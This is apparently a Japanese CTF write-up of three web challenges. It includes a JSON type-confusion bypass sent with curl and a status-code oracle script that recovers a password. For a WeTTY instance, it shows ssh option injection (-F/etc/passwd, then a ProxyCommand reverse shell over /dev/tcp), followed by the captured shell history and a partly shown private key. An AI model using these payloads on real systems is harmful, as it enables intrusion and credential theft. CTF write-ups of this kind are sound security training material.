9/5 - 9/6という日程で開催された。zer0ptsで参加して1位。
- [Web 300] password (46 solves)
- [Web 300] password fixed (13 solves)
- [Web 500] Is it Shell? (3 solves)
[Web 300] password (46 solves)
以下のようなコードが与えられた。ランダムに生成されたパスワードを /flag
に与えるとフラグが得られるらしい。0oO
のような紛らわしい文字は打ち間違えても大丈夫らしい。
from flask import Flask, request, make_response import string import secrets password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)]) print("[INFO] password: " + password) with open("flag.txt") as f: flag = f.read() def fuzzy_equal(input_pass, password): if len(input_pass) != len(password): return False for i in range(len(input_pass)): if input_pass[i] in "0oO": c = "0oO" elif input_pass[i] in "l1I": c = "l1I" else: c = input_pass[i] if all([ci != password[i] for ci in c]): return False return True app = Flask(__name__) @app.route("/") def home(): html = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>test page</title> </head> <body> <h1>Do you want the flag?</h1> <p>password: <input type="text" id="password"></p> <p><button id="submit">Submit</button></p> <pre id="response"></pre> <script> document.getElementById("submit").onclick = () => { const data = {"pass": document.getElementById("password").value} fetch('/flag', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) .then(async (res) => document.getElementById("response").innerHTML = await res.text()) }; </script> </body> </html> """ return make_response(html, 200) @app.route("/flag", methods=["POST"]) def search(): if request.headers.get("Content-Type") != 'application/json': return make_response("Content-Type Not Allowed", 415) input_pass = request.json.get("pass", "") if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) return flag app.run(port=8080)
fuzzy_equal
の処理をよく見てみると、あいまい検索の実装は c = input_pass[i]
からの all([ci != password[i] for ci in c])
によって行われていることがわかる。/flag
はJSONを受け付けているから、input_pass[i]
に配列を入れることもできる。string.ascii_letters
で埋め尽くされた配列を渡せば、c
には string.ascii_letters
が入り、また password[i]
は必ず string.ascii_letters
の中に含まれるから、fuzzy_equal
は True
を返すはずだ。以下のコマンドを実行するとフラグが得られた。
#!/bin/bash curl 'http://34.146.80.178:8001/flag' \ -H 'Content-Type: application/json' \ --data-raw '{"pass":["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}'
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
[Web 300] password fixed (13 solves)
passwordに以下のような修正が加えられた。もう先ほどの解法は動かない。
18,23c18,25 < c = "0oO" < elif input_pass[i] in "l1I": < c = "l1I" < else: < c = input_pass[i] < if all([ci != password[i] for ci in c]): --- > if password[i] not in "0oO": > return False > continue > if input_pass[i] in "l1I": > if password[i] not in "l1I": > return False > continue > if input_pass[i] != password[i]:
当てるべきパスワードが Aaaa
である場合を考える。['B',[],[],[]]
をパスワードとして入力すると、if input_pass[i] != password[i]: return False
でループが終了し、if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401)
によって401というステータスコードが返ってくる。
一方で、['A',[],[],[]]
が入力された場合にはループが終了せず A
の次の要素である []
もチェックされるが、ループでまず実行される input_pass[i] in "0oO"
において以下のように左辺と右辺の型が違うために例外が発生する。したがって、ステータスコードは500になる。
>>> [] in '0oO' Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: 'in <string>' requires string as left operand, not list
この挙動を利用すると、ステータスコードを観察することで1文字ずつパスワードが特定できる。
import requests import string HOST = 'http://34.146.80.178:8002' known = '' for _ in range(32): for c in string.ascii_letters: tmp = list(known + c) + [[]] * (32 - len(known + c)) r = requests.post(f'{HOST}/flag', json={ 'pass': tmp }) if r.status_code in (200, 500): known += c break print(known)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
[Web 500] Is it Shell? (3 solves)
WeTTYというWebブラウザでターミナルを操作できる便利なツールが動いているURLと、以下のようなパッチが与えられた。
wetty2.0.3.patch
というパッチのファイル名から使われているWeTTYのバージョンが2.0.3であると推測できるが、GitHubのリリースログを見てみるとちょうど2週間ほど前に2.1.1がリリースされており、やや古いことがわかる。
2.0.3から2.1.1までの間でなにか脆弱性が修正されてはいないだろうか。コミットログと変更されたファイルを眺めていると、-
から始まるユーザ名を入力できないようにするバグを修正するコミットが見つかった。問題で与えられたパッチは以下からわかるようにクライアント側のコードを修正するものだが、これも -
を入力できないようにしている。ヒントだろうか。
--- a/src/client/wetty.ts +++ b/src/client/wetty.ts @@ -27,7 +27,7 @@ socket.on('connect', () => { const fileDownloader = new FileDownloader(); term.onData((data: string) => { - socket.emit('input', data); + socket.emit('input', data.replace(/-/g, '')); }); term.onResize((size: { cols: number; rows: number }) => { socket.emit('resize', size);
試しに -
から始まるユーザ名を入力してみよう。DevToolsを開いて String.prototype.replace = function () { return this; };
を実行し、-hoge
を入力してみると、以下のように ssh
コマンドのhelpが表示された。ssh
コマンドのオプションのinjectionができるということだろうか。
man ssh
で有用なオプションがないか眺めていると、-F
という設定ファイルを読み込むためのオプションが見つかった。これで適当なファイルを読み込めないだろうか。
-F configfile Specifies an alternative per-user configuration file. If a configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored. The default for the per-user configuration file is ~/.ssh/config.
いちいち手でオプションを入力するのも面倒なので、Socket.IOのクライアントで直接入力できるようにしてみる。Socket.IOのサーバに接続している箇所にブレークポイントを置いて、ここに来たタイミングで globalThis.sock = socket
を実行すると、sock
からいつでもデータを送れるようになった。
sock.emit('input', '-F/etc/passwd\x00')
で -F/etc/passwd\x00
を入力して送信すると、以下のように /etc/passwd
を読み込むことができた。
ここでしばらく悩んでいたが、あらためて man ssh
を読んでいると -o
オプションで様々なオプションを設定できることに気づいた。
-o option Can be used to give options in the format used in the configuration file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5).
有用なオプションがないか man ssh_config
で探していると、ProxyCommand
といういい感じにOSコマンドが実行できそうなものが見つかった。
ProxyCommand Specifies the command to use to connect to the server. The command string extends to the end of the line, and is executed using the user's shell ‘exec’ directive to avoid a lingering shell process. Arguments to ProxyCommand accept the tokens described in the TOKENS section. The command can be basically anything, and should read from its standard input and write to its standard output. It should eventually connect an sshd(8) server running on some machine, or execute sshd -i somewhere. Host key management will be done using the Hostname of the host being connected (de‐ faulting to the name typed by the user). Setting the command to none disables this option entirely. Note that CheckHostIP is not available for connects with a proxy command. This directive is useful in conjunction with nc(1) and its proxy support. For example, the following directive would connect via an HTTP proxy at 192.0.2.0: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
8000番ポートで待ち受けた上で -o ProxyCommand=bash -c "bash -i >& /dev/tcp/…/8000 0>&1"\x00
を入力し送信すると、リバースシェルを張ることができた。
ホームディレクトリにあるファイルを見てみる。まず .bash_history
。flag@flagserver
にログインすればよいらしい。
ubuntu@ip-172-31-45-150:~$ cat .bash_history cat .bash_history rm .bash_history exit cat .ssh/known_hosts ls ls echo "login to flag@flagserver" > note exit ls -altr cat .bash_history vim .bash_history ls -altr history exit vim .bash_history exit
ls -la
からの id_rsa_flag
。id_rsa_flag
はおそらく flag@flagserver
にログインするための秘密鍵だろう。
ubuntu@ip-172-31-45-150:~$ ls -la ls -la total 68 drwxr-xr-x 8 ubuntu ubuntu 4096 Sep 5 07:17 . drwxr-xr-x 3 root root 4096 Sep 4 12:02 .. -r-xr-xr-x 1 ubuntu ubuntu 188 Sep 5 07:17 .bash_history -rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc drwx------ 4 ubuntu ubuntu 4096 Sep 4 22:42 .cache drwx------ 3 ubuntu ubuntu 4096 Sep 4 22:42 .config drwxrwxr-x 4 ubuntu ubuntu 4096 Sep 4 22:40 .npm -rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile drwx------ 2 ubuntu ubuntu 4096 Sep 4 22:54 .ssh -rw-r--r-- 1 ubuntu ubuntu 0 Sep 4 22:25 .sudo_as_admin_successful drwxr-xr-x 2 ubuntu ubuntu 4096 Sep 4 23:13 .vim -rw------- 1 ubuntu ubuntu 12126 Sep 5 07:17 .viminfo -rw-rw-r-- 1 root root 2601 Sep 4 22:48 id_rsa_flag -r-xr-xr-x 1 ubuntu ubuntu 25 Sep 5 06:05 note drwxrwxr-x 9 root root 4096 Sep 5 07:42 wetty ubuntu@ip-172-31-45-150:~$ cat id_rsa_flag cat id_rsa_flag -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr 3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n … PE6mgXAGVqlNzf7Ex4VpnlUNABVGABpx1VrBvY4xkLg5646a1nKOrbXqDKYN5k/1kRTJ4V 0iH8v+5I2jxMn7jmS1iuTETxEF5E5CkfWDzJF3Z2jEym3OpYoLXrg3iBV9hZKD4zlzX32Z 0q3hjDFeyq//DFAAAADWFrYW5lQGRlc2t0b3ABAgMEBQ== -----END OPENSSH PRIVATE KEY-----
これを使ってログインするとフラグが得られた。
$ ssh flag@flagserver -i id_rsa ssh flag@flagserver -i id_rsa Pseudo-terminal will not be allocated because stdin is not a terminal. Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Sep 5 08:09:01 UTC 2021 System load: 0.0 Processes: 107 Usage of /: 25.0% of 7.69GB Users logged in: 0 Memory usage: 25% IPv4 address for eth0: 172.31.7.7 Swap usage: 0% * Ubuntu Pro delivers the most comprehensive open source security and compliance features. https://ubuntu.com/aws/pro 73 updates can be applied immediately. 1 of these updates is a standard security update. To see these additional updates run: apt list --upgradable *** System restart required *** The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. ls flag.txt cat flag.txt nitic_ctf{shell_in_the_webshell}